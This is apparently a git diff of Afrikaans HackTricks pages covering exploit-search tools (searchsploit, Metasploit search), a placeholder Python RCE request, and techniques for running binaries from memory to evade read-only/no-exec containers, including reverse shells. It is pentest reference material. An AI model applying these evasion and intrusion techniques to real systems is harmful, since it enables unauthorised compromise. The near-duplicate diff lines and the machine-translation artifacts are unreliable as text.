||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloeie** te bou met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -90,35 +90,7 @@ return resp.json()
|
|||
def get_random_string(guid, path):
|
||||
return ''.join(random.choice(string.ascii_letters) for i in range(10))
|
||||
```
|
||||
## Python-opdrag om 'n RCE te benut
|
||||
|
||||
Om 'n RCE (Remote Code Execution) te benut, kan jy die volgende Python-opdrag gebruik:
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
url = 'http://target-website.com/vulnerable-endpoint'
|
||||
payload = '; <malicious-code-here>'
|
||||
|
||||
response = requests.get(url + payload)
|
||||
|
||||
print(response.text)
|
||||
```
|
||||
|
||||
Hier is die vertaling van die bogenoemde Python-opdrag na Afrikaans:
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
url = 'http://teiken-webwerf.com/verkrygbare-eindpunt'
|
||||
payload = '; <booswillige-kode-hier>'
|
||||
|
||||
response = requests.get(url + payload)
|
||||
|
||||
print(response.text)
|
||||
```
|
||||
|
||||
Onthou om die `url`-veranderlike te vervang met die regte teikenwebwerf se URL en die `payload`-veranderlike met die spesifieke booswillige kode wat jy wil uitvoer.
|
||||
## Python-opdrag om 'n RCE uit te buit
|
||||
```python
|
||||
import requests
|
||||
import re
|
||||
|
@ -145,23 +117,24 @@ return 1
|
|||
term = Terminal()
|
||||
term.cmdloop()
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en outomaties werkstrome te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\
|
||||
Kry Vandag Toegang:
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,35 +2,35 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hakwerktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloeie** te bou met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandag Toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### Blaaier
|
||||
|
||||
Soek altyd in "google" of ander: **\<diens\_naam> \[weergawe] exploit**
|
||||
Soek altyd in "google" of ander: **\<diens\_naam> \[weergawe\] uitbuit**
|
||||
|
||||
Jy moet ook die **shodan** **exploit-soektog** vanaf [https://exploits.shodan.io/](https://exploits.shodan.io) probeer.
|
||||
Jy moet ook die **shodan** **uitbuitsoek** probeer vanaf [https://exploits.shodan.io/](https://exploits.shodan.io).
|
||||
|
||||
### Searchsploit
|
||||
|
||||
Nuttig om exploits vir dienste in **exploitdb vanaf die konsole** te soek.
|
||||
Nuttig om uitbuite vir dienste in **exploitdb vanaf die konsole te soek.**
|
||||
```bash
|
||||
#Searchsploit tricks
|
||||
searchsploit "linux Kernel" #Example
|
||||
|
@ -42,7 +42,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result
|
|||
```
|
||||
### Pompem
|
||||
|
||||
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) is nog 'n instrument om na exploits te soek.
|
||||
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) is nog 'n instrument om te soek na exploits
|
||||
|
||||
### MSF-Search
|
||||
```bash
|
||||
|
@ -50,21 +50,21 @@ msf> search platform:windows port:135 target:XP type:exploit
|
|||
```
|
||||
### PacketStorm
|
||||
|
||||
As niks gevind word nie, probeer om die gebruikte tegnologie binne [https://packetstormsecurity.com/](https://packetstormsecurity.com) te soek.
|
||||
Indien niks gevind word nie, probeer om die gebruikte tegnologie binne [https://packetstormsecurity.com/](https://packetstormsecurity.com) te soek
|
||||
|
||||
### Vulners
|
||||
|
||||
Jy kan ook in die vulners databasis soek: [https://vulners.com/](https://vulners.com)
|
||||
Jy kan ook in die vulners-databasis soek: [https://vulners.com/](https://vulners.com)
|
||||
|
||||
### Sploitus
|
||||
|
||||
Hierdie soek na exploits in ander databasisse: [https://sploitus.com/](https://sploitus.com)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -74,10 +74,10 @@ Kry vandag toegang:
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,22 +14,22 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in **hack loopbaan** en hack die onhackbare - **ons is aan die werf!** (_vloeiende Pools geskrewe en gespreek benodig_).
|
||||
As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gespreek benodig_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Videos
|
||||
|
||||
In die volgende videos kan jy die tegnieke wat in hierdie bladsy genoem word, meer diepgaand verduidelik vind:
|
||||
In die volgende videos kan jy die tegnieke wat op hierdie bladsy genoem word, meer in diepte verduidelik vind:
|
||||
|
||||
* [**DEF CON 31 - Verkenning van Linux-geheue-manipulasie vir Steek en Ontwyking**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**Stealth indringings met DDexec-ng & in-geheue dlopen() - HackTricks Spoor 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
* [**Stiekeme indringings met DDexec-ng & in-geheue dlopen() - HackTricks Spoor 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## lees-slegs / geen-uitvoer scenario
|
||||
|
||||
Dit word al hoe meer algemeen om Linux-masjiene te vind wat gemonteer is met **lees-slegs (ro) lêerstelselbeskerming**, veral in houers. Dit is omdat om 'n houer met 'n ro lêerstelsel te hardloop so maklik is as om **`readOnlyRootFilesystem: true`** in die `securitycontext` in te stel:
|
||||
Dit word al hoe meer algemeen om Linux-masjiene te vind wat met **lees-slegs (ro) lêerstelselbeskerming** gemonteer is, veral in houers. Dit is omdat dit maklik is om 'n houer met 'n ro lêerstelsel te hardloop deur **`readOnlyRootFilesystem: true`** in die `securitycontext` in te stel:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -44,42 +44,42 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
Nogtans, selfs as die lêerstelsel as ro gemonteer is, sal **`/dev/shm`** steeds skryfbaar wees, so dit is vals dat ons niks op die skyf kan skryf nie. Hierdie vouer sal egter **gemonteer word met geen-uitvoer beskerming**, so as jy 'n binêre lêer hier aflaai, sal jy dit **nie kan uitvoer nie**.
|
||||
Nietemin, selfs as die lêerstelsel as ro gemonteer is, sal **`/dev/shm`** steeds skryfbaar wees, so dit is vals dat ons niks op die skyf kan skryf nie. Hierdie vouer sal egter **gemonteer word met geen-uitvoerbeskerming**, so as jy 'n binêre lêer hier aflaai, **sal jy dit nie kan uitvoer nie**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Vanuit 'n rooi span-perspektief maak dit dit **ingewikkeld om binêre lêers af te laai en uit te voer** wat nie reeds in die stelsel is nie (soos agterdeure of enumereerders soos `kubectl`).
|
||||
Vanuit 'n rooi span-perspektief maak dit dit **ingewikkeld om binêre lêers af te laai en uit te voer** wat nie reeds in die stelsel is nie (soos agterdeure of opsteller soos `kubectl`).
|
||||
{% endhint %}
|
||||
|
||||
## Maklikste omseiling: Skripte
|
||||
|
||||
Let daarop dat ek van binêre lêers gepraat het, jy kan **enige skrip uitvoer** solank die tolk binne die masjien is, soos 'n **skelmskrip** as `sh` teenwoordig is of 'n **python-skrip** as `python` geïnstalleer is.
|
||||
Let daarop dat ek van binêre lêers gepraat het, jy kan **enige skrip uitvoer** solank die tolk binne die masjien is, soos 'n **skulpskrip** as `sh` teenwoordig is of 'n **python-skrip** as `python` geïnstalleer is.
|
||||
|
||||
Nogtans is dit nie net genoeg om jou binêre agterdeur of ander binêre gereedskap wat jy mag nodig hê, uit te voer nie.
|
||||
Nietemin is dit nie net genoeg om jou binêre agterdeur of ander binêre gereedskap wat jy mag nodig hê, uit te voer nie.
|
||||
|
||||
## Geheue Omseilings
|
||||
## Geheue-omseilings
|
||||
|
||||
As jy 'n binêre lêer wil uitvoer maar die lêerstelsel dit nie toelaat nie, is die beste manier om dit te doen deur dit vanaf die geheue uit te voer, aangesien die **beskerming nie daarop van toepassing is nie**.
|
||||
As jy 'n binêre lêer wil uitvoer maar die lêerstelsel dit nie toelaat nie, is die beste manier om dit te doen deur dit vanaf die geheue uit te voer, aangesien die **beskerming daar nie van toepassing is nie**.
|
||||
|
||||
### FD + exec syscall omseiling
|
||||
|
||||
As jy kragtige skripskrywers binne die masjien het, soos **Python**, **Perl**, of **Ruby**, kan jy die binêre aflaai om vanaf die geheue uit te voer, dit in 'n geheue-lêerbeskrywer stoor (`create_memfd` syscall), wat nie deur daardie beskerming beskerm gaan word nie, en dan 'n **`exec` syscall** aanroep wat die **fd as die lêer om uit te voer** aandui.
|
||||
As jy kragtige skripskryfmasjiene binne die masjien het, soos **Python**, **Perl**, of **Ruby**, kan jy die binêre lêer aflaai om vanaf die geheue uit te voer, dit in 'n geheue-lêerbeskrywer (`create_memfd` syscall) stoor, wat nie deur daardie beskerming beskerm gaan word nie, en dan 'n **`exec` syscall** aanroep wat die **fd as die lêer om uit te voer** aandui.
|
||||
|
||||
Hiervoor kan jy maklik die projek [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) gebruik. Jy kan dit 'n binêre lêer gee en dit sal 'n skrip in die aangeduide taal genereer met die **binêre saamgedruk en b64 gekodeer** met die instruksies om dit te **dekodeer en te dekomprimeer** in 'n **fd** wat geskep is deur die `create_memfd` syscall te roep en 'n oproep na die **exec** syscall om dit uit te voer.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Dit werk nie in ander skripskryftale soos PHP of Node nie omdat hulle geen **standaard manier het om rou syscalls** vanaf 'n skrip te roep nie, so dit is nie moontlik om `create_memfd` te roep om die **geheue fd** te skep om die binêre te stoor nie.
|
||||
Dit werk nie in ander skripskryftale soos PHP of Node nie omdat hulle geen **standaard manier het om rou syscalls** vanaf 'n skrip te roep nie, so dit is nie moontlik om `create_memfd` te roep om die **geheue-fd** te skep om die binêre te stoor nie.
|
||||
|
||||
Verder, die skep van 'n **gewone fd** met 'n lêer in `/dev/shm` sal nie werk nie, aangesien jy nie toegelaat sal word om dit uit te voer nie omdat die **geen-uitvoer beskerming** van toepassing sal wees.
|
||||
Verder sal dit nie werk om 'n **gewone fd** met 'n lêer in `/dev/shm` te skep nie, omdat jy nie toegelaat sal word om dit uit te voer nie omdat die **geen-uitvoerbeskerming** van toepassing sal wees.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is 'n tegniek wat jou in staat stel om die geheue van jou eie proses te **modifiseer** deur sy **`/proc/self/mem`** te oorskryf.
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is 'n tegniek wat jou in staat stel om die geheue van jou eie proses te **verander deur sy** **`/proc/self/mem`** te oorskryf.
|
||||
|
||||
Daarom, deur die samestellingskode te beheer wat deur die proses uitgevoer word, kan jy 'n **shellkode** skryf en die proses "muteer" om **enige willekeurige kode** uit te voer.
|
||||
Daarom kan jy deur die **samestellingskode te beheer** wat deur die proses uitgevoer word, 'n **shellcode** skryf en die proses "muteer" om **enige willekeurige kode** uit te voer.
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec** sal jou in staat stel om jou eie **shellkode** of **enige binêre** vanaf **geheue** te laai en **uit te voer**.
|
||||
**DDexec / EverythingExec** sal jou in staat stel om jou eie **shellcode** of **enige binêre** vanaf **geheue** te laai en **uit te voer**.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Basic example
|
||||
|
@ -93,7 +93,7 @@ Vir meer inligting oor hierdie tegniek, kyk op die Github of:
|
|||
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) is die natuurlike volgende stap van DDexec. Dit is 'n **DDexec shellcode gedemoniseer**, sodat elke keer as jy 'n **verskillende binêre lêer wil hardloop** hoef jy nie DDexec weer te begin nie, jy kan net memexec shellcode hardloop via die DDexec tegniek en dan **met hierdie daimon kommunikeer om nuwe binêre lêers te laai en hardloop**.
|
||||
[**Memexec**](https://github.com/arget13/memexec) is die natuurlike volgende stap van DDexec. Dit is 'n **DDexec shellcode gedemoniseer**, sodat elke keer as jy 'n **verskillende binêre lêer wil hardloop** hoef jy nie DDexec weer te begin nie, jy kan net memexec shellcode hardloop via die DDexec tegniek en dan **met hierdie duiwel kommunikeer om nuwe binêre lêers te laai en hardloop**.
|
||||
|
||||
Jy kan 'n voorbeeld vind van hoe om **memexec te gebruik om binêre lêers van 'n PHP omgekeerde dop te hardloop** in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
|
@ -105,9 +105,9 @@ Met 'n soortgelyke doel as DDexec, laat die [**memdlopen**](https://github.com/a
|
|||
|
||||
### Wat is distroless
|
||||
|
||||
Distroless houers bevat slegs die **kaal minimum komponente wat nodig is om 'n spesifieke aansoek of diens te hardloop**, soos biblioteke en tydhardloop afhanklikhede, maar sluit groter komponente uit soos 'n pakkettebestuurder, skul, of stelselnutsprogramme.
|
||||
Distroless houers bevat slegs die **kaal minimum komponente wat nodig is om 'n spesifieke aansoek of diens te hardloop**, soos biblioteke en tyduitvoeringsafhanklikhede, maar sluit groter komponente uit soos 'n pakkettebestuurder, skul, of stelselgereedskap.
|
||||
|
||||
Die doel van distroless houers is om die aanvalsvlak van houers te **verminder deur onnodige komponente te elimineer** en die aantal kwesbaarhede wat uitgebuit kan word te minimeer.
|
||||
Die doel van distroless houers is om die aanvalsvlak van houers te **verminder deur onnodige komponente te elimineer** en die aantal kwesbaarhede wat uitgebuit kan word, te minimeer.
|
||||
|
||||
### Omgekeerde Dop
|
||||
|
||||
|
@ -117,10 +117,10 @@ In 'n distroless houer mag jy dalk **nie eers `sh` of `bash`** vind om 'n gewone
|
|||
Daarom sal jy **nie** in staat wees om 'n **omgekeerde dop** te kry of die stelsel te **opnoem** soos jy gewoonlik doen nie.
|
||||
{% endhint %}
|
||||
|
||||
Maar as die gekompromitteerde houer byvoorbeeld 'n flask web hardloop, dan is Python geïnstalleer, en dus kan jy 'n **Python omgekeerde dop** kry. As dit node hardloop, kan jy 'n Node omgekeerde dop kry, en dieselfde met meeste enige **skrips taal**.
|
||||
Maar as die gekompromitteerde houer byvoorbeeld 'n flask-web hardloop, dan is Python geïnstalleer, en dus kan jy 'n **Python omgekeerde dop** kry. As dit node hardloop, kan jy 'n Node omgekeerde dop kry, en dieselfde met byna enige **skripseltaal**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Deur die skrips taal te gebruik, kan jy die stelsel **opnoem** deur die taal se vermoëns te gebruik.
|
||||
Deur die skripseltaal te gebruik, kan jy die stelsel **opnoem** deur die taalvermoëns te gebruik.
|
||||
{% endhint %}
|
||||
|
||||
As daar **geen `read-only/no-exec`** beskerming is nie, kan jy jou omgekeerde dop misbruik om **binêre lêers in die lêersisteem te skryf** en hulle **uit te voer**.
|
||||
|
@ -129,24 +129,24 @@ As daar **geen `read-only/no-exec`** beskerming is nie, kan jy jou omgekeerde do
|
|||
Tog sal hierdie soort houers gewoonlik hierdie beskermings hê, maar jy kan die **vorige geheue-uitvoeringstegnieke gebruik om hulle te omseil**.
|
||||
{% endhint %}
|
||||
|
||||
Jy kan **voorbeelde** vind van hoe om **sekere RCE kwesbaarhede te misbruik** om skrips taal **omgekeerde dops** te kry en binêre lêers van geheue uit te voer in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
Jy kan **voorbeelde** vind van hoe om **sekere RCE-kwesbaarhede te misbruik** om skripseltaal **omgekeerde dops** te kry en binêre lêers van geheue uit te voer in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hakker loopbaan** en wil die onhakbare hak - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
As jy belangstel in 'n **hackingsloopbaan** en wil die onhackbare hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gespreek benodig_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
